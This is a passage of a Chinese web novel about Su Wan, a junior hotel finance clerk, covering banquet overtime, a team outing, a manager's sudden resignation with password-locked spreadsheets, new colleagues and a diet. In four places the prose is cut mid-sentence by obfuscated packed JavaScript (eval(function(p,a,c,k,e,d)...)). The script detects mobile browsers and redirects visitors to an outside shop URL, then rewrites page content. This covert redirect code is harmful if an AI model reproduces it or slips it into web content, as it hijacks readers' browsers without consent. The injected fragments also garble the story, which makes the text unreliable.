苏晚赶得有点懵。 有时候同事问她什么,她抬起头,看着对方的脸,脑子里一片空白。问的是什么事?刚才在说什么?她想不起来。 “这个月的供货款制单了没?” “这个月的餐券统计了没?” “这场酒席的钱收到了没?” “不知道”“不知道”“不知道”..... “下午周卉找你,你去了吗?” “不知道。” 她不是故意的。是真的不知道。事情太多,脑子太满,每一件事刚做完就被下一件事覆盖,留不下一点痕迹。 周四下午,周卉又来了。 这次站在门口,手里拿着一沓什么,看着苏晚:“上周的部门费用统计呢?” 苏晚愣了一下。上周的费用统计?她记得周卉说过这件事,但什么时候要?交到哪儿?她完全不记得了。 “还没.....还没做。”她老实说。 周卉的眉头皱了一下:“为什么没做?” “我.....”苏晚想说“我不记得了”,但觉得这个理由太蠢,就没说出口。 周卉看着她,等了几秒,没等到回答,语气有点冲了:“这都几个月了,怎么还是不知道?你是新人?” 声音不大,但在安静的办公室里,每一个字都清清楚楚。 小苏抬起头,看了一眼,又低下去了。没人说话。 苏晚站在原地,看着周卉,脑子里空白了两秒。然后—她笑了。不是那种“我不在乎”的笑,也不是“你别生气”的笑。就是那种,不知道该怎么办的时候,下意识露出来的,有点傻的笑。 周卉愣了一下。 大概没想到她会笑。 “我....”苏晚开口,声音有点干,“我记性不太好,事情一多就忘了。上周的费用统计我今天晚上做,明天早上给你。” 周卉看着她,脸上的表情变了几变。最后,叹了口气。 “行了。”她说,语气软了一点,“明天早上给我”。 她转身走了。 办公室里还是安静。过了几秒,键盘声才慢慢响起来,像什么事情都没发生过。 苏晚坐回椅子上,盯着电脑屏幕,发了一会儿呆。 刚才那个笑,她现在想起来有点尴尬。但在那个时候,她好像只会笑。 周五早上,苏晚刚到办公室,就看见桌上放着一张通知。 打印的,A4纸,上面写着: 关于五一假期餐饮部支援工作的通知 各部门: 鉴于五一期间酒店餐饮业务量激增,经研究决定,后勤部门上需第一时间支援中餐厅。具体安排如下: 1.支援时间:4月30日晚餐时段(17:30-21:30) 2.支援人员:行政后勤部门全体员工 3.集合地点:二楼中餐厅前台 4.注意事项:请于当日16:00前到员工食堂用餐,16:30前到二楼中餐厅前台签到,领取工服及物资,加班单需写明加班起始时间和终止时间,由中餐厅经理签字确认。 请各部门负责人做好工作安排。 行政办公室 苏晚看了两遍,还是有点懵。 支援?加班?去中餐厅? 她是来当财务的,不是来当服务员的 但通知上写得清清楚楚:行政后勤部门全体员工。她也是“全体员工”里的一员。 午休的时候,她先去了一趟客房仓库。领物资的地方在17楼最里,一个堆满各种东西的小房间。管仓库的是一个中年女人,看了她的通知,从架子上拿了一个塑料袋递给她。 “老北京布鞋,黑色,37的。”又拿了一个衣架,“工服,M码,自己回去试试,不合适来换。” 苏晚接过袋子,打开看了一眼。布鞋是那种黑色的,底很簿的,一看就是服务员穿的那种。工服是件T恤,天蓝色的。 她拿着这些东西回到办公室,放在桌边,盯着看了一会儿,然后拿出手机。 打电话给老父亲。 电话响了十几个人声就接了。 “喂,晚晚?”父亲的声音从那头传来。 “爸,晚上我不回家吃饭了。”苏晚说,“公司加班。” “加班?加到几点?” “说是到九点半。”苏晚说,“在酒店餐厅帮忙,不是办公室那种。” 父亲顿了一下:“餐厅?你不是坐办公室的吗?” “五一太忙了,后勤都要去支援。”苏晚说,“就是端端盘子什么的,没事的。” 父亲沉默了两秒:“那你小心点,别累着。晚上回来注意安全。” “知道了。” 挂了电话,苏晚把手机放下,又看了看那件T恤。端盘子——还没有端过盘子。 但好像也没什么可怕的 下午四点,苏晚准时出现在员工食堂。 食堂里已经有不少人了,都是熟面孔。采购部的,销售部的,还有几个平时在九楼见过但叫不出名字的同事。大家都穿着便服,但旁边都放着那个装工服的塑料袋。 苏晚打了饭,找了个位置坐下。刘姐坐在对面,看见她,笑了笑:“第一次?” 苏晚点点头。 “没事,跟着做就行。”刘姐说,“餐厅那边的人会教的。” 苏晚没说话,低头吃饭。食堂的饭她吃了快两个月了,今天第一次觉得有点吃不下。不是不好吃,是有点紧张。 四点二十,她端着餐盘去回收处,然后拿着塑料袋去洗手间换衣服。 工作穿上,有点紧,但还能接受。布鞋穿上,底很簿,能感觉到地板的硬度,她对着镜子看了一眼——天蓝色T恤+黑色裤子+黑色布鞋,头发盘起来。镜子里的人不像她自己。 四点四十,她站在二楼中餐厅前台。 前台那里已经排了一小队人,都是后勤部门的同事。“名字、部门、加班起始时间,写清楚,结束的时候再写。别漏了。”前台小姑娘轻声提醒着。 三楼,宴会厅。 苏晚站在门口,愣了一下。 好大。 比她想象的大得多,整个三楼打通了,没有隔断,一眼望不到头。酒席桌子摆得整整齐齐,一张挨着一张,每张都很大,圆形的,铺着紫色的桌布,可以办千人宴。 已经有人开始上菜了。穿着和她一样工服的服务员穿梭在桌子之间。客人们还没到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437372|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但那种热闹的、忙碌的气氛已经起来了。 “看什么呢?”苏晚回头,看见周卉站在她身后。 “没看什么。”苏晚说。 周卉走到她身边,看着宴会厅,忽然问:“见过这种场面吗?” 苏晚摇摇头。 周卉点点头,没说话,看了一会儿,又问:“会端盘子吗?” 苏晚愣了一下。端盘子? 她想了想,然后点了点头。 周卉看着她,像是在等什么。苏晚反应过来,走到旁边的备餐台,拿起一个托盘。 托盘是圆形的,钢化防滑的,有点分量。她左手托着,手掌放平,五指微微分开,托盘的边缘抵在小臂上,手臂自然弯曲,托盘稳稳地停在手掌和手臂之间。 周卉看了一眼,点了点头。没说话,转身走了。 苏晚站在原地,看着她的背影。低头看了看自己手里的托盘,忽然想起一些事情。 2003年上海疫情期间 那时候她还在上海,和发小闺蜜一起住。闺蜜苏婷在餐饮行业做过。那时候她们一起面试一家新店的筹备期,还有一个女孩“皮球”。三个人一起工作,一起笑,一起被培训。那段日子不长,但不知道为什么,现在还能想起来。 宴席开始了。 苏晚被安排在一个角落里,负责三桌的传菜。客人们很热闹,小孩子跑来跑去,大人追在后面喊。苏晚穿行在这些声音里,端着一盘盘菜,放在一张张桌子上。有时候客人会抬头看她一眼,有时候不会。有时候会说“谢谢”,有时候不会。 她发现自己不紧张了。可能是因为忙起来顾不上紧张。 8点左右,宴席接近尾声。 客人开始散了。留下的是一桌桌狼藉——空盘子、空碗、剩菜、骨头、餐帽纸、倒了的酒杯。 苏晚站在角落里不知所措。一个穿着中餐厅工服的人走过来;“我和你搭档收餐具五小样三大样。桌椅和扫地就用加班人员参与了。” 收拾完九点40左右了。签退后换回自己的衣服,离开酒店已经10点多了。 街上人很少,风有点凉。她站在员工通道门口,深呼吸了一下,然后朝家的方向走去。 累。从脚底累到头顶,从骨头累到肉。 到家的时候,十点40左右。 苏晚把包扔在椅子上,没开灯,直接倒在床上。 手机在包里震了一下又一下又一下。她没理。 闭着眼睛,脑子里乱七八糟的。不知道过了多久,她睡着了。手机还在包里震,震完最后一下,停了。 第二天早上醒来,苏晚摸出手机,看了一眼。三个未接来电,都是林栖的。 五 一加班费到账的那天,苏晚看着手机短信上的数字,愣了好几秒。 比想象的多。 她算了算加班和的天数-三天加班费差不多是她平时一周的工资。原来端盘子这么值钱。 “看什么呢?”小朱跟过她的座位,探头看了一眼,“哦,发工资了?” 苏晚点点头,把手机收起来。 “五 一加班的,正常。” 苏晚没说话,但心里有点高兴。不是因为钱多,是因为那三天的累好像有了个说法。 接下来的两周,日子又恢复了正常。 周卉还是急,但没再冲她说过话。报销单还是苏晚拿去朱总办公室亲签。朱总还是签完字会问一句“干得怎么样?” 六月过半,天气开始热了。 办公室开起了空调,落地窗那边的阳光比以前烈了一点,照在地上,白花花的。 7. 团建 周五早上,周卉又来了。 这回不是急冲冲的,是拿着一份通知,站在门口,像宣布什么事似的:“这周末部门团建,爬山,农家乐。所有人都去。” 苏晚抬起头:“周末?” “周六。”周卉说,“早上八点,市图书馆老馆门口集合。爬的是后面那条路,上去有个农家乐,中午在那儿吃饭。” 苏晚想说什么,但周卉已经转身走了,只留下一句“别迟到。” 她看着门口,发了一会儿呆。 团建。 她不太喜欢这个词。听起来像是“大家一起玩”,但实际上是“大家一起参加一个不得不参加的活动”。不过,既然都说了“所有人都去”,那她也没什么好说的。 晚上和林栖打电话的时候,她提了一句。 “周末团建?”林栖在那头说,“爬哪儿?” “说是图书馆后面那条路。” “哦,那条啊。”林栖说,“我爬过,不难,就是有点长。你穿双舒服的鞋。” 苏晚应了一声。 “对了,”林栖忽然说,“你那把大蒲扇还在吗?” 苏晚愣了一下:“什么蒲扇?” “大大的,你不是说夏天扇风用的吗?” 苏晚想起来。那把扇子是去年夏天在一个夜市上买的,竹编的,很大,扇起来风也大。她买的时候就是因为好用。 “在的,我去找出来。”苏晚想了想,觉得也许能用得上。 周六早上,阳光已经很烈了。 苏晚把大蒲扇拿着,背着包就出门了。 市图书馆老馆就在苏晚家边上,走过去10分钟即达。 路口已经站了一群人。 苏晚走近一看,都是熟面孔。周卉、刘姐、小朱、小苏、张磊—还有几个别的部门的,她叫不出名。但人群里有一个身影,她一眼就认出来了。 胖胖的,穿着件白衬衫,站在那儿和人说话。是厨房的那个小胖师傅。 苏晚愣了一下。厨房的人怎么也来了? “小苏!”小朱看见她,招了招手,“这儿!” 苏晚走过去,站在人群边上。周卉正在和人说话,看见她,目光落在她手里的蒲扇上。 周卉笑了一下:“还带这么大把的扇子?” 苏晚有点不好意思,手下意识的背过去准备把扇子藏起来:“朋友说爬山会很热,建议带着好。” “还是年轻好啊!” 苏晚不知道这话是什么意思,但周卉已经转身招呼大家出发了。 人群开始往那条小路上走。苏晚跟在后面,走了几步,忽然感觉有人靠近。她回头一看,是小胖师傅。 “嗨” “嗨” 两个人并排走了一段,都没说话。然后小胖师傅忽然开口:“你还记得我吗?” 苏晚点点头:“记得。” 怎么可能不记得。 那是她入职第一个月的事。那段时间她手忙脚乱,什么都搞不清楚。有一天结算供货商货款,她操作失误,把钱转错账户了。转出去的那个瞬间,她就知道自己完了—好几万块钱,要是追不回来,她这工作也不用干了。 当时她站在电脑前面,手脚冰凉,脑子里一片空白。旁边的小苏不在,张磊经理在接电话。她不知道该如何处理,就傻盯着屏幕发呆。 然后小胖师傅路过。 他本来是来送单据的,看见她那个样子,问了一句“怎么了”。苏晚指着屏幕,结结巴巴把事说了。小胖师傅看了一眼,说:“别急,我帮你问问。” 他打了几个电话,那笔钱就在正确的供货商手里了。 苏晚当时差点哭出来。 “谢谢你。”她说,声音都有点抖。 小胖师傅摆摆手,说“没事”,就走了。 后来她才知道,他是厨房的,管采购那一块,经常和财务打交道。那天他来送单据,正好撞上她发愁。 从那以后,苏晚遇见他的时候都会点个头笑一下,但两人没怎么说过话。 “那次真的谢谢你。” 小胖师傅笑了一下,胖胖的脸上露出两个酒窝:“小事”。 他们继续往上走。山路不陡,但有点长,阳光从树叶缝隙里漏下来,在地下画出斑驳的影子。苏晚走了一会儿,就拿起蒲扇扇两下。 小胖师傅看了一眼,笑起来。 苏晚也笑:“朋友建议带的。” 走到一处空旷的平地,大家停下来休息。 苏晚站在边上,扇着扇子,往山下看。城市的轮廓在远处,隐隐约约的,像蒙了一层薄薄的雾。 她忽然想起一些事情。 前前公司,美容公司。那时候也团建,也爬山,也是这样的季节。一群人浩浩荡荡的,走在差不多的山路上。虞阿姨也在,那时候虞阿姨对她挺好的,总说“小苏你慢点走”“小苏你喝水不”。她们还在农家乐拍过照片,QQ空间里应该还有。 那时候她的发型还不是现在这样。那时候刘海是往后梳的,梳成一个小小的啾啾扎着,后面的头发披着。 现在呢? 她摸了摸自己的刘海。现在是平的,压下来的那种遮住额头。 酒店的规矩:女员工的发型有要求,不能披着,不能太随意。她们每个月有“职业形象补贴”,拿了补贴,就要按规矩来。她把刘海压下来,头发扎起来,看起来规规矩矩的,像个正经上班的人。 有点想虞阿姨了。 她看着远处的城市,扇着扇子,没说话。 “想什么呢?”苏晚回头,看见小朱站在旁边。 “没想什么。”她说。 小朱看了看她手里的扇子,又看了看她的脸,没说话,只是笑了笑。 农家乐就在一个大院子里,院子里摆着几张木桌木椅。 大家坐下来,开始上菜。都是农家菜,青菜、腊肉、土鸡、河鱼。还有一盘绿绿的东西,苏晚不认识。 “青团”刘姐说,“客家的,尝尝。” 苏晚夹了一个,咬了一口。糯糯的,有点甜,有点清香。好吃。 桌上开始热闹起来。有人倒酒,有人劝酒,有人起哄。苏晚本来在专心吃青团,忽然听见有人叫她。 “小苏,会喝酒吗?” 是周卉。 苏晚抬起头,看着她,憨憨地点了点头。 周卉愣了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那眼神很奇怪,带着笑,但不是普通的笑。好像在看什么好笑的事,又好像在看什么让人看不懂的事。 苏晚不知道她在笑什么。 后来,一两年后,周卉有一次提起那次团建,笑着说:“你那次把小胖喝得连连说‘我不行了’,你知道我们笑了多久吗?” 苏晚当时愣了一下,才想起来她说的是哪次。 “我就是觉得礼尚往来。”她认真的说。 周卉笑得更厉害了:“对对对,就是那个‘礼尚往来’!你说得特别认真,小胖都吓到了。” 苏晚还是不知道这有什么好笑的。 但周卉每次提起就笑,她也跟着笑。反正笑就对了。 那天晚上回到家,苏晚给林栖打了个电话。 “今天怎么样?” “还行。”苏晚说,然后想起什么,“我听你的建议带扇子带对了,太热了。” 林栖在那头笑 “今天喝酒了。” “喝多了?” “有一点。”苏晚想了想,“把小胖师傅喝怕了。” 林栖愣了一下;“谁?” “厨房的一个师傅。”苏晚说,“他敬我酒,我敬回去,他说不喝了。” 林栖沉默了两秒,然后笑出声:“苏晚,你是什么品种的憨憨?” 苏晚也不知道。 躺在床上,看着天花板,那把大蒲扇放在床头柜上 窗外的月光照进来,很亮. 8. 换将 团建回来之后,日子又恢复了平常的节奏。 报销单、费用统计、周卉的连环指令。苏晚已经习惯了这种节奏,甚至有点喜欢—忙起来的时候,时间过得快,一天一晃就过去了。 那天下午,她去茶水间倒水,回来的时候,看见财务室门口站着一个人。 一个女人。 四十出头的样子,穿着一套深灰色的套装,剪裁很利落,一看就不便宜。头发盘起,戴着一对小巧的珍珠耳钉。整个人站在那里,脊背挺直,气质和周卉完全不一样—周卉是急的,风风火火的,这个人是静的、稳的、往那儿一站就让人觉得有分量。 她正往办公室里看什么。 苏晚端着水杯走过去,那个人转过头来,看了她一眼。 “你好。”那个人说,声音不高,但很清楚,“老板在办公室吗?” 苏晚愣了一下。老板?朱总? 她想了想,没注意朱总在不在。而且这种事,她怎么会知道? “不知道。” 那个人看着她,目光在她脸上停了一秒。那一眼很淡,但苏晚莫名觉得被看透了什么。 “好,谢谢。”那个人说,然后转身走了。 苏晚站在原地,看着那个背影消失在走廊尽头,然后推门进办公室。 小苏在接电话,张磊不在,一切如常。 她坐回座位上,继续录凭证。刚才那个人,她没见过。可能是哪个部门的?也可能是外来的?不知道。 她没多想。 第二天上午,张磊把她叫住了。 “苏晚,用下你电脑。” 苏晚愣了一下,站起来,让开位置。张磊坐下来,手放在鼠标上,开始点。 苏晚坐在第一张桌子那里继续工作,心里有点怪怪的。她没问。 张磊不一会就站起来:“行了。”走了。 苏晚坐回座位上,看着电脑屏幕。桌面干干净净的,像什么都没发生过。 身后有一道目光。 苏晚微微侧头,余光瞥见小苏正抬眼看着她—不对,是看着她这边。那一眼很快,但苏晚捕捉到了。 她没想明白刚才发生了什么。 午休时间,办公室里只剩下小苏和她。 过了一会儿,小苏抬起头,看了苏晚一眼。 “昨天那个女的,”他说,声音还是轻轻的,“你知道是谁吗?” “哪个?” “站在门口那个。”小苏说,“问你老板在不在的那个。” 苏晚想起来:“不知道。谁啊?” 小苏看了她一眼,那眼神有点复杂。然后说:“以前的部门经理。” 苏晚没反应过来:“以前的?” “酒店筹备期的时候。”小苏说,“她是财务部的经理,后来酒店开业了,她就走了。” 苏晚愣了愣。筹备期?那是2年前的事情了。 “那她来干嘛?” “不知道。”小苏摇摇头。 他又低下头,继续工作。苏晚等了一会儿,没等到下文。 “然后呢?” 小苏抬起头,看着她,表情有点奇怪:“没有然后。” 苏晚不知道该说什么。她本来就不会打听这些,小苏这么说,她就这么听着。至于为什么以前的部门经理会突然出现,为什么会站在门口问老板在不在,为什么张磊今天要翻她的电脑—她没把这些事情连在一起想。 那些事,她没再想。 午休时间,办公室里很安静。 小苏坐在他的位子上,低头翻着书。苏晚刚从食堂回来,看了一眼他的方向。小苏学习她见过很多次了,今天很好奇。 “小苏。” 小苏抬起头,看着她。 “你考的那个.....是什么证?” 小苏没想到她会问这个。然后说:“财务中级会计证。” 苏晚对考证没什么概念,但看小苏经常忙里偷闲捧着书学习,大概挺不容易的。 小苏看了她一眼,欲言又止,最后低下头继续看书。 苏晚也低下头,准备午休眯一会儿。刚趴下,手机震了一下。她看了一眼,是工作群里的一条消息,没在意。 下午两点,周卉出现在门口。 不是一个人。身后还站着一个人。 女的,四十多岁,穿一件深蓝色的衬衫,头发扎得很紧,脸上没什么表情。苏晚觉得有点眼熟,但想不起来在哪儿见过。 周卉走进来,站在办公室中间,清了清嗓子:“跟大家说一下,张磊辞职了,这是新来的部门经理-李敏。大家欢迎。” 苏晚愣了一下。 张磊辞职了? 她看向张磊的位子—空的。上午还在的,下午就不在了? 办公室安静了两秒,然后响起掌声。 那个叫李敏的女人点了点头,没说话,直接走到张磊原来的位子上,坐下来,打开电脑。 周卉呆在旁边看了几秒,然后转身走了。 办公室里恢复了安静。但那种安静和平时不一样,有点闷,有点沉。 苏晚脑子有点转不过来。 辞职了?怎么一点预兆都没有? 她想起前两天张磊用她电脑的事,想起小苏说的那个“以前的部门经理”,但这些事像一堆散乱的拼图,她不知道该往哪儿放。 她看了一眼小苏,他在接电话,声音压得很低。 新经理李敏坐在那里,背对着他们,一动不动。 苏晚转回头,盯着自己的电脑屏幕,发了一会儿呆。 算了,离职就离职吧。职场嘛,人来人往的,正常。 过了两天。 那天早上,苏晚照常打开电脑 ,准备继续录凭证。 双击表格,弹出一个框。 她愣了一下。框里写着几行字,她不认识,但大概意思看懂了—文件打不开,因为宏病毒,需要输入密码才能启用。 密码? 什么密码? 她没有设置过密码啊。 她试了试关闭,重新打开。还是一样。再试,还是一样。 她转头看向小苏。 小周感觉到她的目光,抬起头。 “怎么了?” “我的表打不开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437374|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”苏晚说,“说什么宏病毒,要密码。” 小苏站起来,走到她身后,弯腰看她的屏幕。看了几秒,眉头皱了一下。 他回到自己座位,打开电脑。过了一会儿,抬起头,看着她: “我的也一样。” 苏晚愣住了。 两个人的电脑,同时中招?这么巧? 小苏没说话,拿起手机,打给了经理 挂了电话,小苏对苏晚说:“经理马上回来。” 苏晚点点头,不知道该干什么,就盯着屏幕发呆。 不到十分钟,李敏就出现在门口。 走得很快,脸上没什么表情。但苏晚能感觉到她很急。她直接走到苏晚的电脑前,弯腰看屏幕,看了几秒,直起身,又去看小周的。 “两个都一样?”她问。 小苏点点头。 李敏没说话,拿起手机,拨了一个号。电话响了几声,接通了。她压低声音说了几句,苏晚听不清说什么,只听到最后一句“好的。”然后没等任何人反应,就转身往外走。 苏晚看着她的背影,发现她走的方向是老板的办公室。 门在她身后关上,走廊里安静下来。 苏晚站在那儿,愣了几秒,然后回到自己的位子上,盯着电脑屏幕。她知道,这件事好像没那么简单。 她转头看小苏,小苏也在看自己的电脑,眉头皱着。 她张了张嘴,想问什么,但又不知道该问什么。 最后什么都没问。 下班的时候,苏晚收拾东西,犹豫了一下,还是问出口:“今天那个.....是什么情况?” 小苏抬起头,看了她一眼,你在想该不该说。 最后他说:“不知道。” 苏晚点点头,没再问。 走出酒店大门的时候,太阳已经快落下去了。她站在门口,看着天边的那点余光。 晚上苏晚给林栖打了个电话,约她出来喝茶。 一家常去的茶饮店,角落里的小桌子,两个人面对面坐着,苏晚点了一壶果茶,两块小蛋糕。 苏晚有点困惑! 林栖笑了笑;“苏晚,你是真的大条。” 苏晚不知道这话是夸她还是损她 “酒店现在使用的财务报表等一系列的表格都是张磊自己设计自动计算生成的。他在表格上设密码,让那些表格离了他都转不动。这样就算前经理回来了,也得靠他。他在给自己留后路。”林栖无奈地看着苏晚。 “哦哦哦。”苏晚想了想,懂了。 聊了蛮久的,太晚要回家了,苏晚陪林栖等车。 “苏小晚,你都已经在酒店工作半年了吧!该知道的也得去了解啊!别两耳不闻窗外事。”林栖恨铁不成钢,牙痒痒。 车来了,林栖上了车,摇下车窗,看着她:“有事给我打电话。” “好。”苏晚点点头。 车开走了。苏晚站在原地,看着尾灯消失在街角。 风吹过来,有点凉。她准备散步回家。脑子里还在想那些事—— 算了。 明天还要上班呢。 9. 新人 周一,办公室的门开了。 李敏身后跟着一个女孩。那女孩看起来很小,二十出头的样子,扎着马尾,穿一件淡蓝色的针织衫,眼睛圆圆的,看人的时候很专注。她站在李敏身后,目光在办公室里扫了一圈,最后落在苏晚身上,停了一下。 “这是方家莹。”李敏说,声音还是那种平平的,没什么起伏,“新来的,以后协助我这里的一部分工作。” 苏晚愣了一下。新设个岗位? 但她没问。 小苏抬起头看了一眼,又低下去了。新来的方家莹站在门口,等李敏示意,然后走到一张空着的桌子前—原放未装订账册的那张桌子,在苏晚的前面。 “今天大家都有空,要不把桌子移下位置,两两相对。”李敏说道,“动起来。” 下午,桌椅摆放整齐后,方家莹坐下来,开始整理自己的东本。苏晚发现她动作很轻,但很利落,放杯子、摆笔筒、打开电脑 ,一气呵成。 李敏站在办公室中间:“小方,这里的柜子里的账册,你可以自己拿起来看看。桌面上的未装订的账册你可以帮忙装订。” “好。” 李敏转身走了。 办公室安静了几秒。然后方家莹抬起头,朝苏晚笑了笑。 “你好,”她说,声音比长相显得成熟一点,“我叫方家莹,你叫我小方就行。” 苏晚也笑了笑:“我叫苏晚。” 两个人算是认识了。 周二,李敏一直不在。 苏晚听小苏打电话的时候提到一句,说李经理在陪老板接待什么客人,好像是其他地区公司的领导。苏晚没在意,继续做自己的事。 快下班的时候,李敏回来了。 “这个你拿着。”李敏递给她一个U盘,“里面是版的表格,和之前那些是一样的,但格式更简单。以后用这个。” 苏晚接过来,愣了一下。 “那原来的那些......”她开口问。 “不用管了。”李敏说,“截止到上周,后面都用新的。” 苏晚点点头,没再问。 回到座位了,她把U盘插上,打开里面的文件。确实和之前那些差不多,但少了一些复杂的公式,看起来更清爽。她开始把最近的数据往新表里填。 过了一会儿,李敏又走到苏晚桌前。手里拿的是两个厚厚的本子—账本,那种老式的、线装的、封面是深蓝色的纸质账本。 “这些也要填。”李敏把账本放在她桌上,“手工账,一笔一笔填。从这个月开始。” 苏晚看着那两个账本,愣了两秒。 手工账? 她来这几个月,一直都是用电脑录的。怎么突然要填手工账了? 但她还是点点头:“好。” 苏晚拿起其中一个账本,翻开。里面是一页一页的格子,需要填日期、摘要什么的。密密麻麻的,看得人眼晕。 她放下账本,转头看小苏。 小苏这回没看她,手还在敲着键盘,但敲击键盘声的动作感觉很慢。 她又看小方。小方正抬头,静静地看着她,表情很平静。但那双眼睛里,分明有一点什么—是提醒?是同情?还是“你别问我”的意思? 她低头看看手里的账本,又看看电脑屏幕,有点懵。算了,想不明白。 然后拿起笔,开始填。 晚上回到家,苏晚给林栖打电话。 “喂?”林栖的声音从那头传来,背景音有点吵,好像在街上。 “在哪儿呢?” “约会中....” “哦吼—那不打扰了,你有空给我个电话呗!好好约会哦....”苏晚挂了电话,躺在床上,盯着天花板。 夜深了,苏晚的手机响了,是林栖。她刚到家就回拨了电话。 “说吧!苏小晚,有什么事情发生?”林栖有点无奈的开口 苏晚有点不好意思:“栖栖,我是不是很笨?” “还知道啊!”林栖说,“你工作上的事情又哪里想不开了” “是这样的.....” “哦。工作量增加了,你想谈加薪?”林栖突然严肃起来 “没有这么想。”苏晚愣了一下,“我就是想找你说说话。” 电话里静默了两秒。然后林栖的声音突然变了。 “哎,想知道刚才和我约会的是什么人?” 苏晚愣了一下:“啊—想啊.” 苏晚被林栖带偏了。 后来的日子,苏晚慢慢发现,林栖每次见面,说的最多的都是自己的生活。 大学时候的事情,游戏里的事,她家那只猫的事,本地新开的哪家店好吃。有时候也说她谈过的恋爱....... 林栖的生活比她丰富多了。有那么多事可以说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437375|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有那么多人可以见。不像她,两点一线公司和家,偶尔和林栖吃个饭。 但林栖从来不说自己的工作。苏晚只知道她是事业编,林栖不说,她也不问。 她们初三认识至今。那些年,有些事苏晚记得,有些事忘了。在她需要的时候接电话,在她不懂的时候骂她两句。 苏晚听着,从来不觉得烦。 小方来了之后,办公室里多了点生气。 她话不多,但该说的时候会说。做事利落,脑子转得快,李敏交代的事她总能很快理解,不像苏晚,有时候要愣一下才能反应过来。 但苏晚发现,小方对她挺友好的。 午休的时候,小方会和她边吃边聊几句。聊的都是些小事—食堂的菜今天咸了,昨天那集电视剧看了没,周末打算去哪儿。苏晚觉得挺好,终于有个能说话的人了。 那天中午,苏晚又在填手工账本。 她已经填了快一周了,还是觉得吃力。一不小心填错得改,密密麻麻的,很花。 小方凑过来看了一眼:“还在填这个?” 苏晚点点头。 “挺麻烦的吧。”小方说。 “嗯。”苏晚放下笔,叹了口气,“我觉得我是不是该去考个证什么的。” 小方看她:“你想考?” “不知道。”苏说,“就是觉得,什么都不懂,干着有点累。” 小方想了想:“我打算报个培训班,一起?” 苏晚看着她,有点意外:“你也要考?” “嗯,趁年轻,考个初级。”小方说,“反正晚上没事,学学呗。” 苏晚想了想:“好。” 那天下午,苏晚注意到小苏有点不对劲。 他趴在桌上,一动不动。苏晚以为他在午休,没在意。过了好久,她还是那个姿势,苏晚觉得奇怪,轻轻叫了一声:“小苏?” 小苏动了一下,慢慢抬起头。脸色很差。 “你没事吧?” 小周摇摇头,没说话,站起来往外走。 过了一会儿,小方从外面回来,经过苏晚桌边,压低声音说:”小苏晕在厕所门口了,被人扶回来了。” 苏晚愣了一下:“现在呢?” “在休息室。” 苏晚没说话,但心里有点沉。她想起之前好像见过小苏的桌屉里有几个瓶子。她没问过,小苏也没说过。 10. 减重 又是一年开春季,经历了年底后勤部门需要时不时地支援餐厅,加班多了,夜宵就吃得多。原本就有点小胖的苏晚越来越胖了。 有一天,苏晚路过一家美容院,被以前的同事叫住了。 那是她之前的美容公司时的同事,后来出来自己开店了。她们聊了几句,那个同事看着她,欲言又止。 “苏晚,”她说,“你是不是胖了挺多的?” 苏晚点点头:“嗯,加班加多了,常吃夜宵,又不常运动。” 那个同事看了她一会儿:“你这个样子.....有点接受不了。” 苏晚愣了一下,不知道该怎么接话。 “要不,你试试中医调理?”那个同事说,“我认识一个老中医,还不错。” 苏晚想到了后期酒店的夏装大概率穿不上了;“好。” 她对中医一无所知。但她觉得,试试也没什么。 那个同事给她推了一个微信,说改天带她去。 那天晚上回家,苏晚躺在床上,看着天花板。 那个中医调理的事情,苏晚记在备忘录里。改天去看看。 明天还要上班。 一周后,苏晚见到了那个老中医。 诊所不大,藏在一条老巷子里,门口挂着块木牌子,写着“林氏中医。”推门进去,中药的味道扑面而来,苦中带一点甘,说不清是涩还是香。 诊所里坐着一个六十来岁的老人,头发花白,戴着副老花镜,正在给人把脉。 轮到她的时候,老中医抬起头,看了她一眼。 “坐。”他说,“什么问题?” 苏晚坐下来,想了想;“我想调理一下。” “调理什么?” 苏晚张了张嘴,有点不好意思;“我想瘦一点。” “快夏天了,”苏晚补充道,“酒店的工装裙子,我穿着有点紧。” 老中医点了点并没有,示意她把手伸出来。把了一会儿脉,又看了看她的舌头,然后开始说:“你这不是什么大问题,就是代谢慢了。饮食要注意,每顿饭一拳头大小,要有蛋白质、碳水、蔬菜。水要喝,但不能一次喝太多,少量多次。运动要有,但不能过量,每天散步半小时,走到身体微微发热....再配合针灸辅助即可。” 苏晚认真地听着,点头。 “记住了?”老中医问。 “记住了。” 走出诊所的时候,她心里挺踏实的。老中医说的她都听进去了,但具体怎么执行,她按自己的理解来。 一拳头大小—那就是吃很少的意思吧。 